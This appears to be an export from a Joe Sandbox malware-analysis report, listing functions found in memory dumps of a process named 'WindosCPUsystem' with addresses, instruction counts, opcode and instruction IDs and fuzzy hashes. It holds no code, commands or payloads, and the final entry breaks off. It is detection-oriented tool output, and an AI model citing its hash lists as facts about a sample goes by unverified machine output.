Source File: 00000009.00000002.2766660594.00007FF8490D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF8490D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_7ff8490d0000_WindosCPUsystem.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 376a1afc93ddc15c4b89b6cffa1ac1dcb5ae1e81c420b51a5f59a00f59781b1d
Instruction ID: 14a7da088dd62843b9221662e611ba80ca6d73614380df0a21296f3eec9ac903
Opcode Fuzzy Hash: 376a1afc93ddc15c4b89b6cffa1ac1dcb5ae1e81c420b51a5f59a00f59781b1d
Instruction Fuzzy Hash: CA512931A0CE864FFBB5EB7C98951B077E1EF95350B1806BAC04DCB1A6D919EC82C350

Function 00007FF8490D34B2 Relevance: .2, Instructions: 193COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000009.00000002.2766660594.00007FF8490D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF8490D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_7ff8490d0000_WindosCPUsystem.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 307ca67d0a8e00490c3fa9ca371ebc0aa6c269cc378b25aa5660e2d703ede4a0
Instruction ID: 5b4343b99c47cdeea35700aeea1377f9b9add236431f83d6dbe764633106e3de
Opcode Fuzzy Hash: 307ca67d0a8e00490c3fa9ca371ebc0aa6c269cc378b25aa5660e2d703ede4a0
Instruction Fuzzy Hash: DE51D231B1C98A4FEB98EE2C94557B977E2FB58744F1841B9D44DC7286DE28EC428780

Function 00007FF8490D0B05 Relevance: .2, Instructions: 185COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000009.00000002.2766660594.00007FF8490D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF8490D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_7ff8490d0000_WindosCPUsystem.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c617e3d7fb9a4295b89f70e81443daec51845f527757b8536df73dec6c425641
Instruction ID: aaa0ef1ba7264a44e47fe9ededd07a65c7b915a247315b1932c4ca045640e2dd
Opcode Fuzzy Hash: c617e3d7fb9a4295b89f70e81443daec51845f527757b8536df73dec6c425641
Instruction Fuzzy Hash: B651E531D0DA994FEBB4EF2CA8552B97BE5EF99360F1403BAD04DC72D2DD2498068781

Function 00007FF8490D4A5C Relevance: .2, Instructions: 178COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000009.00000002.2766660594.00007FF8490D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF8490D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_7ff8490d0000_WindosCPUsystem.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 878f79763fb5130b314944e203a26c2c19f8bbfbf9be05972b578da7f9cbe7c5
Instruction ID: d8f48b957f8eb488dfb7e3b5b857f4ed91dc44da43cdcbca907cc29e03e37ae4
Opcode Fuzzy Hash: 878f79763fb5130b314944e203a26c2c19f8bbfbf9be05972b578da7f9cbe7c5
Instruction Fuzzy Hash: 1251153191EBC54FD742AB7888656A57FF1EF57224B0945EBC08ACB1A7DE1CA80BC311

Function 00007FF8490D0930 Relevance: .2, Instructions: 173COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000009.00000002.2766660594.00007FF8490D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF8490D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_7ff8490d0000_WindosCPUsystem.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 8fdbf58501c33e778dac0937823b3c448802c10c94319474334c0ae0d3ae5aa5
Instruction ID: b0fc9b67b07bd983fd93ff21eb8cf6dfd43a463ef9859f098235bb3ed7bda148
Opcode Fuzzy Hash: 8fdbf58501c33e778dac0937823b3c448802c10c94319474334c0ae0d3ae5aa5
Instruction Fuzzy Hash: 7D414131B0CD5C5FDFA8FB6CE455AADB7E1EF99351B04026AE00DD3296CE25AC418781

Function 00007FF8490D1DE0 Relevance: .2, Instructions: 173COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000009.00000002.2766660594.00007FF8490D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF8490D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_7ff8490d0000_WindosCPUsystem.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 8a93e7a3e16793276eeafb49435d19df76e73b499d464393d4e1f95d362be72c
Instruction ID: f5dcc0ef7253edcb9ac5f26bb3007b2bfdafd0a05433f3d21eca7db51b611d66
Opcode Fuzzy Hash: 8a93e7a3e16793276eeafb49435d19df76e73b499d464393d4e1f95d362be72c
Instruction Fuzzy Hash: 2251B43090C6898FEFA9EF28C855AA97BA1FF59340F140279D44DC72D6DB35E856C780

Function 00007FF8490D5A91 Relevance: .2, Instructions: 164COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000009.00000002.2766660594.00007FF8490D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF8490D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_7ff8490d0000_WindosCPUsystem.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4e30d68b26c588d0842b072bc654a3ec32858e7516b41beee9c66fdb67be9d5f
Instruction ID: 6819fc49a105351b268a30e43a0ca447e8de4c128fd97a9bb49aad08173e2b99
Opcode Fuzzy Hash: 4e30d68b26c588d0842b072bc654a3ec32858e7516b41beee9c66fdb67be9d5f
Instruction Fuzzy Hash: 97515A7090DBC64FDB79FF2884175647BE1FF96351F1406BAC88DC71A6DA28E80A8781

Function 00007FF8490DAB0C Relevance: .2, Instructions: 152COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000009.00000002.2766660594.00007FF8490D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF8490D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_7ff8490d0000_WindosCPUsystem.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3063edb0a5a703a8f48a3354ca87f9a4d90b611aba1b5e7972a65ae44ae80495
Instruction ID: abec6d12d49567070da9549e7e61dfd89a9c018c227c8baa2211fd98187b6201
Opcode Fuzzy Hash: 3063edb0a5a703a8f48a3354ca87f9a4d90b611aba1b5e7972a65ae44ae80495
Instruction Fuzzy Hash: 12412631B0D9894FEBA5EB2C9854AB47BD2FF99360B0901F6D04DC72A7DE18EC428741

Function 00007FF8490D4AB7 Relevance: .1, Instructions: 148COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000009.00000002.2766660594.00007FF8490D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF8490D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_7ff8490d0000_WindosCPUsystem.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9e57a2e7f2ae8a584c49db250b9105944e299b20a00d6e79a747c184f3ceb086
Instruction ID: 215bfb5a5a8dd515cceb725e74b3bb883e87cc8b658959084fae57ec7a543a02
Opcode Fuzzy Hash: 9e57a2e7f2ae8a584c49db250b9105944e299b20a00d6e79a747c184f3ceb086
Instruction Fuzzy Hash: F041273190EBC54FD742AB3888556A57FF0EF57224B0941EBC089CB1A7DE1CA80AC351

Function 00007FF8490DAAF0 Relevance: .1, Instructions: 146COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000009.00000002.2766660594.00007FF8490D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF8490D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_7ff8490d0000_WindosCPUsystem.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b46f3d77c123d0375c91789c13ca63f37f62d13205e4684f6c14cef3b9c955f3
Instruction ID: 0485b4676be1727136ee1215a1a47a0a6bedc89bdb968ea290eec3b35251b3f4
Opcode Fuzzy Hash: b46f3d77c123d0375c91789c13ca63f37f62d13205e4684f6c14cef3b9c955f3
Instruction Fuzzy Hash: 4741E531B1CD494FEBA8EA2C9898A7537D7FF993A071901B9D40DC7297DE14EC428740

Function 00007FF8490D7195 Relevance: .1, Instructions: 133COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000009.00000002.2766660594.00007FF8490D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF8490D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_7ff8490d0000_WindosCPUsystem.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 0e6d140d9ae501434c4ef7f07d5c221a4a99eb12ffa57d81c3b3b57489bef6ab
Instruction ID: a4419e477ee3bd997c3dec75770a52afa989bb3e1936cd20001716da6c4d8331
Opcode Fuzzy Hash: 0e6d140d9ae501434c4ef7f07d5c221a4a99eb12ffa57d81c3b3b57489bef6ab
Instruction Fuzzy Hash: 7141EF70A0D9598FDFA8EF28C851B6877A1EF99340F1442A8D44DD7392CE34ED85CB40

Function 00007FF8490D5121 Relevance: .1, Instructions: 128COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000009.00000002.2766660594.00007FF8490D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF8490D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_7ff8490d0000_WindosCPUsystem.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: fba35f81c3bb4031c6b4417463c4ebd46a62a2bdab9b64b7545025dd99795fcd
Instruction ID: 4064ff2a659c5079fd2bdb4bde70a002ca4cf9cac382844cf9ba4a5888b1dced
Opcode Fuzzy Hash: fba35f81c3bb4031c6b4417463c4ebd46a62a2bdab9b64b7545025dd99795fcd
Instruction Fuzzy Hash: 9931163190DA894FEBB4EE2CC4566B437D4FF5A351F1407BAE88DC72A5DA14EC0A8781

Function 00007FF8490D9F1C Relevance: .1, Instructions: 128COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000009.00000002.2766660594.00007FF8490D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF8490D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_7ff8490d0000_WindosCPUsystem.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: cc6e00d13c75a02ac9339fb8a9ea7b66dfb685e556399495c683488b64297420
Instruction ID: 30e6ef58a47338a8811ebca880de2038a3eb7dc975f9be4fae485103f67e46ba
Opcode Fuzzy Hash: cc6e00d13c75a02ac9339fb8a9ea7b66dfb685e556399495c683488b64297420
Instruction Fuzzy Hash: 07315E30A1CE888FDBD8FB6CD495A2977D2EF98351B5402AEF04DC72A6CE24DC418741

Function 00007FF8490D4C20 Relevance: .1, Instructions: 127COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000009.00000002.2766660594.00007FF8490D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF8490D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_7ff8490d0000_WindosCPUsystem.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: fb7b88f3a5af01bc7743f0370783c919b467c2f741a0d5f42582ab381a676c68
Instruction ID: fd48f674f1d49b448858cae08ca17cfbbd6e9dd244e80c2ece7a59b8ba95de1a
Opcode Fuzzy Hash: fb7b88f3a5af01bc7743f0370783c919b467c2f741a0d5f42582ab381a676c68
Instruction Fuzzy Hash: CE31C121B0DD9A4FEBA9AF1D585977837C9EF99755B4801B9E48DC32E2CE08EC018245

Function 00007FF8490D0A18 Relevance: .1, Instructions: 123COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000009.00000002.2766660594.00007FF8490D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF8490D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_7ff8490d0000_WindosCPUsystem.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1eaf1127d8cdd440d95bbf1be1777a85e34352a3734a542b138a4be80a4c33c2
Instruction ID: 850873f54e0ad7ac093ec9af93690960817a231da9799501914f23c1e620098f
Opcode Fuzzy Hash: 1eaf1127d8cdd440d95bbf1be1777a85e34352a3734a542b138a4be80a4c33c2
Instruction Fuzzy Hash: 47316622A0DA865FE765FB7CA8500EA7BE1EF85324B08437BD049C72D7DE28A4458384

Function 00007FF8490DFB43 Relevance: .1, Instructions: 123COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000009.00000002.2766660594.00007FF8490D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF8490D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_7ff8490d0000_WindosCPUsystem.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: fbde4bc7951df9b7d14fbd19a49d686b3332235418ded6cbe22cbf67da3dedc0
Instruction ID: 2b3141c9a5e34402052b983d03aa1d7f8b2bbda226dd18f64a0d8905e2a18c57
Opcode Fuzzy Hash: fbde4bc7951df9b7d14fbd19a49d686b3332235418ded6cbe22cbf67da3dedc0
Instruction Fuzzy Hash: B6315631D1CAC64FEB79AB3854252B03BD6EF14350F1845BEC249C75C3DE29E8868341

Function 00007FF8490D8335 Relevance: .1, Instructions: 119COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000009.00000002.2766660594.00007FF8490D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF8490D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_7ff8490d0000_WindosCPUsystem.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9dd274ceea64673415b2a2d83a0a3d8c10ffaaef8f4b0eff25f3e6a36494492c
Instruction ID: d8f258a9bbea2734dfb5e8f1adc329993cfeb09510a80de0a29f4ed87dc7ae26
Opcode Fuzzy Hash: 9dd274ceea64673415b2a2d83a0a3d8c10ffaaef8f4b0eff25f3e6a36494492c
Instruction Fuzzy Hash: 5831D73060CA894FDBE5EF2C9494AB57BE1FF99350B1506BAE04DC3696CE29DC42C741

Function 00007FF84902317C Relevance: .1, Instructions: 108COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000009.00000002.2763926675.00007FF849020000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF849020000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_7ff849020000_WindosCPUsystem.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5a39b7884fb54939582edd9f47a7ea7cfd9a0722dd3d812198b666719f62b159
Instruction ID: 58cb4d5c3669dfb07827efefa2b0452e40e72e93f198b4aeb808f1e3f817bf50
Opcode Fuzzy Hash: 5a39b7884fb54939582edd9f47a7ea7cfd9a0722dd3d812198b666719f62b159
Instruction Fuzzy Hash: 9A317171E1C68ADEEF74EE6884492BDB7F4FF69B80F240575C009A2185DF28AD85C742

Function 00007FF8490D2600 Relevance: .1, Instructions: 106COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000009.00000002.2766660594.00007FF8490D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF8490D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_7ff8490d0000_WindosCPUsystem.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: fc6bed5326850645187d8ccfdb8b8727e6beece6c477efcc40031d0222536792
Instruction ID: 6215891ed057bfdaf029a687430f9eb789a37a74781625d3f0ab824757dee0c8
Opcode Fuzzy Hash: fc6bed5326850645187d8ccfdb8b8727e6beece6c477efcc40031d0222536792
Instruction Fuzzy Hash: 1821A621B1DD8A5FFEA5FF2C50546B562E5FFA8781B54427AD00DC3295CE18EC454380

Function 00007FF8490D6660 Relevance: .1, Instructions: 105COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000009.00000002.2766660594.00007FF8490D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF8490D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_7ff8490d0000_WindosCPUsystem.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 441e9998537930a65110bd2a71ea3d191a6e8988a196adb2b863efb5b210bdd8
Instruction ID: cd3ab2ea1768c24665bdc011bba2a4c72f137a5e0d380416f4e646e7c0db9aad
Opcode Fuzzy Hash: 441e9998537930a65110bd2a71ea3d191a6e8988a196adb2b863efb5b210bdd8
Instruction Fuzzy Hash: 4731EB31A0DA894FDF65FF289409AA977D4EF86355B0406FED04DC7292DE29E846C381

Function 00007FF8490233BD Relevance: .1, Instructions: 95COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000009.00000002.2763926675.00007FF849020000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF849020000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_7ff849020000_WindosCPUsystem.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e55e320340e4ac4517529acbf2885306f00dad24736a1b859b6434599f2c733d
Instruction ID: 22ee80e1f8a1c0e9f52a5bce2de3ce9fb832320a92ee57927fb516c7a24aa88b
Opcode Fuzzy Hash: e55e320340e4ac4517529acbf2885306f00dad24736a1b859b6434599f2c733d
Instruction Fuzzy Hash: 61315C71D1C94E9EEFA4EE6898457B977E1FB68650F1005BAC408E3291DE34A8828B91

Function 00007FF8490D5F31 Relevance: .1, Instructions: 93COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000009.00000002.2766660594.00007FF8490D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF8490D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_7ff8490d0000_WindosCPUsystem.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 366549a3d9b2790e64d6f173b1199b0fdcae98507ea24d6225d7587ababe1648
Instruction ID: 77a0a41cb3b6e06953259a3249daafa66a2e56bce1d8d7d30c97a55f331c8fed
Opcode Fuzzy Hash: 366549a3d9b2790e64d6f173b1199b0fdcae98507ea24d6225d7587ababe1648
Instruction Fuzzy Hash: F721F631B0DE954FEB99EB7C9855AA477E1EF5934070402FAD04DCB296C918EC428381

Function 00007FF84902322F Relevance: .1, Instructions: 82COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000009.00000002.2763926675.00007FF849020000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF849020000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_7ff849020000_WindosCPUsystem.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3f66e031bc0d8b2f8d6a1e91cd7f4aee7c18c0c7fbada878372006b3392a0b5a
Instruction ID: f8d46a1c97e8bfa72738616a06dcbfeacce7ffaa928dea5a48782c8ffd7f6ae1
Opcode Fuzzy Hash: 3f66e031bc0d8b2f8d6a1e91cd7f4aee7c18c0c7fbada878372006b3392a0b5a
Instruction Fuzzy Hash: 64210871E0894A9FDFA4EF68D4467ED77A1FF68740F100575D408E3285DB38A8828B80

Function 00007FF8490234AD Relevance: .1, Instructions: 81COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000009.00000002.2763926675.00007FF849020000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF849020000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_7ff849020000_WindosCPUsystem.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 6e56e29471da0798755c1d395dfc079017649947053bb8072188a1a92c2fb834
Instruction ID: 74e7c21a670943ea733a17465790be59a3a04635cfb436056d88ae12422254ca
Opcode Fuzzy Hash: 6e56e29471da0798755c1d395dfc079017649947053bb8072188a1a92c2fb834
Instruction Fuzzy Hash: 6521F571E1895A8EEFA4EF28D8457AD77B1FB68740F1041B5C40CE3292DB34A9818B81

Function 00007FF849023685 Relevance: .1, Instructions: 80COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000009.00000002.2763926675.00007FF849020000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF849020000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_7ff849020000_WindosCPUsystem.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5813f550f902bb2f5814d05393bc761a981953e950dbc09384c657d389409ec9
Instruction ID: b9cdff6215908c5781c14e9344b7ad1560d82cf3ca3da4b2cc0ead902e6b869a
Opcode Fuzzy Hash: 5813f550f902bb2f5814d05393bc761a981953e950dbc09384c657d389409ec9
Instruction Fuzzy Hash: 48212F71D1855E8FEFA4EF18C846BE977A1FB68740F1041B5C50CD3295DB34AD858B81

Function 00007FF849023599 Relevance: .1, Instructions: 80COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000009.00000002.2763926675.00007FF849020000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF849020000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_7ff849020000_WindosCPUsystem.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9e914926315f08bce7ae243bd86c15b216af92a7beca9058c2a48000ece65144
Instruction ID: f2e2131fa99d87d998d52224f18049587c8215a8cdc53cc88b8a5980b02a1de5
Opcode Fuzzy Hash: 9e914926315f08bce7ae243bd86c15b216af92a7beca9058c2a48000ece65144
Instruction Fuzzy Hash: 9E21F471E18A5A9FEFA4EF28D8567AD77B1FF68744F1001B5C40CD3281DB34A9828B81

Function 00007FF8490E2A92 Relevance: .1, Instructions: 78COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000009.00000002.2766660594.00007FF8490D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF8490D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_7ff8490d0000_WindosCPUsystem.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 8738f238c013d8783a76f03df20e212e96ca582d871c7948baa661fd6b534da5
Instruction ID: 3238c4c83b5b9fd2e24a759bb71464532e4d4e308ebfa494fa50a569bef99e05
Opcode Fuzzy Hash: 8738f238c013d8783a76f03df20e212e96ca582d871c7948baa661fd6b534da5
Instruction Fuzzy Hash: AA31C370D0D5DA8FEF25EF2C88166E9BBA0AF45354F0805FEC04D972D2CA7C59818B16

Function 00007FF8490D0A78 Relevance: .1, Instructions: 65COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000009.00000002.2766660594.00007FF8490D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF8490D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_7ff8490d0000_WindosCPUsystem.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4848b7ecf308101b949e6a9f16839aa4079e22413bf3a45db26b355a5da72c93
Instruction ID: 556abc3b5069329d30570da2d7eee86daff39096d9eca24b1f0988008634b86c
Opcode Fuzzy Hash: 4848b7ecf308101b949e6a9f16839aa4079e22413bf3a45db26b355a5da72c93
Instruction Fuzzy Hash: 45112922A1EBC64FE754FABCA4951F6BBA1EF942547044277D04EC3287DD28A945C390

Function 00007FF8490D6970 Relevance: .1, Instructions: 54COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000009.00000002.2766660594.00007FF8490D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF8490D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_7ff8490d0000_WindosCPUsystem.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 79aedf5bd2deab099109d59b676234cd8f951f6e6a849ce9f61fed469de05b87
Instruction ID: a277ae345548f1570c4d64152961ce24cf9f369c13e15971cca3e21782b9827f
Opcode Fuzzy Hash: 79aedf5bd2deab099109d59b676234cd8f951f6e6a849ce9f61fed469de05b87
Instruction Fuzzy Hash: 10F0BB7360CA1C5EA728A91DAC0B5F777E8D796671B01023FE08EC3512ED21B81746D5

Function 00007FF8490E2ACB Relevance: .1, Instructions: 52COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000009.00000002.2766660594.00007FF8490D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF8490D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_7ff8490d0000_WindosCPUsystem.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 6b3323c878c9478e032e00c1bf1be5e6e7ba4f5f1197caadc54378f1b2e7d585
Instruction ID: 437b5e9fe4dc0971f9c47f63f7f085d09cb0af31cb9bf12ed6d9313dfaa1aa4e
Opcode Fuzzy Hash: 6b3323c878c9478e032e00c1bf1be5e6e7ba4f5f1197caadc54378f1b2e7d585
Instruction Fuzzy Hash: 6F111CB0D4D55E8FDFA8EF18C8596E9B7B1EB58300F0045FAC00DD3291CA385A818F55

Function 00007FF8490E6E99 Relevance: .1, Instructions: 51COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000009.00000002.2766660594.00007FF8490D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF8490D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_7ff8490d0000_WindosCPUsystem.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 85f4a0acd9325d5be57f54d7a1da374b5b77b705cedfe059ae5f00a93965ab99
Instruction ID: 2a90a91b8719d832d4be73bef95a1cc255a97ee0684871fa2c254783a2b894e6
Opcode Fuzzy Hash: 85f4a0acd9325d5be57f54d7a1da374b5b77b705cedfe059ae5f00a93965ab99
Instruction Fuzzy Hash: EC110C7080868D8FDF95EF68C858AA97BB0FF65341F0505AAE418D7291DB34D554CB41

Function 00007FF8490E00F9 Relevance: .1, Instructions: 51COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000009.00000002.2766660594.00007FF8490D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF8490D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_7ff8490d0000_WindosCPUsystem.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 571bcc5f27e87f6968c692fcb159b2612446e6531a2ff0e0503f62ee3a9ec73f
Instruction ID: 0495266aaf885a9283af1f359d560c413abe935494a257ef09deec0468b614e7
Opcode Fuzzy Hash: 571bcc5f27e87f6968c692fcb159b2612446e6531a2ff0e0503f62ee3a9ec73f
Instruction Fuzzy Hash: E611397080CA8D8FDF95EF68C858AAA7BB0FF29301F0505AAD408D71A2DB349994CB40

Function 00007FF8490D0830 Relevance: .1, Instructions: 51COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000009.00000002.2766660594.00007FF8490D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF8490D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_7ff8490d0000_WindosCPUsystem.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f8df2250ca86a0872028096fabeb8c696517a44bf536bbc4bbe51f8212b53242
Instruction ID: 35f860eb066440034d0459394e23f7c1ca6fde9a37278b0559c21c1c85168c19
Opcode Fuzzy Hash: f8df2250ca86a0872028096fabeb8c696517a44bf536bbc4bbe51f8212b53242
Instruction Fuzzy Hash: 75018431A1C9494FEBA4FE6CE89577E72F9EF98394F10423DA04DC3292CE24E8018780

Function 00007FF8490E2428 Relevance: .0, Instructions: 49COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000009.00000002.2766660594.00007FF8490D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF8490D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_7ff8490d0000_WindosCPUsystem.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 68b4781fed219fb2e06af42937d552f6a362f10b0582c05f49efe96bc75a1e53
Instruction ID: d480cf60cbd424ef9ed42b8f5329f90a24d8b31404770679f030bf670b655f17
Opcode Fuzzy Hash: 68b4781fed219fb2e06af42937d552f6a362f10b0582c05f49efe96bc75a1e53
Instruction Fuzzy Hash: 2B01177091464DCFDF84EF18C845AFD77E0FB28345F04056AA819D3294DB30EA54CB80

Function 00007FF8490E25D8 Relevance: .0, Instructions: 47COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000009.00000002.2766660594.00007FF8490D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF8490D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_7ff8490d0000_WindosCPUsystem.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: be7e37161ec4f4b1d9dc07c8a7f0679746f976d7ef7124b3725b7ed500892857
Instruction ID: 02ee70a331eafe4c4e8daee5e74544017d0929751e11f940e7ae67a3db796767
Opcode Fuzzy Hash: be7e37161ec4f4b1d9dc07c8a7f0679746f976d7ef7124b3725b7ed500892857
Instruction Fuzzy Hash: 7301A570918A4D9FDF94EF58C849AAE7BF0FB28305F10056AA41DD3290DB34E594CB80

Function 00007FF8490E7548 Relevance: .0, Instructions: 43COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000009.00000002.2766660594.00007FF8490D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF8490D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_7ff8490d0000_WindosCPUsystem.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1851fcb8e9acf5d58fcef1511795281540a9c83f1a32fb29d3ea841c080a4d1a
Instruction ID: b0ec249d115302cd0820c8e35838d83404e583f572842ef9aa5b9871341ac7ec
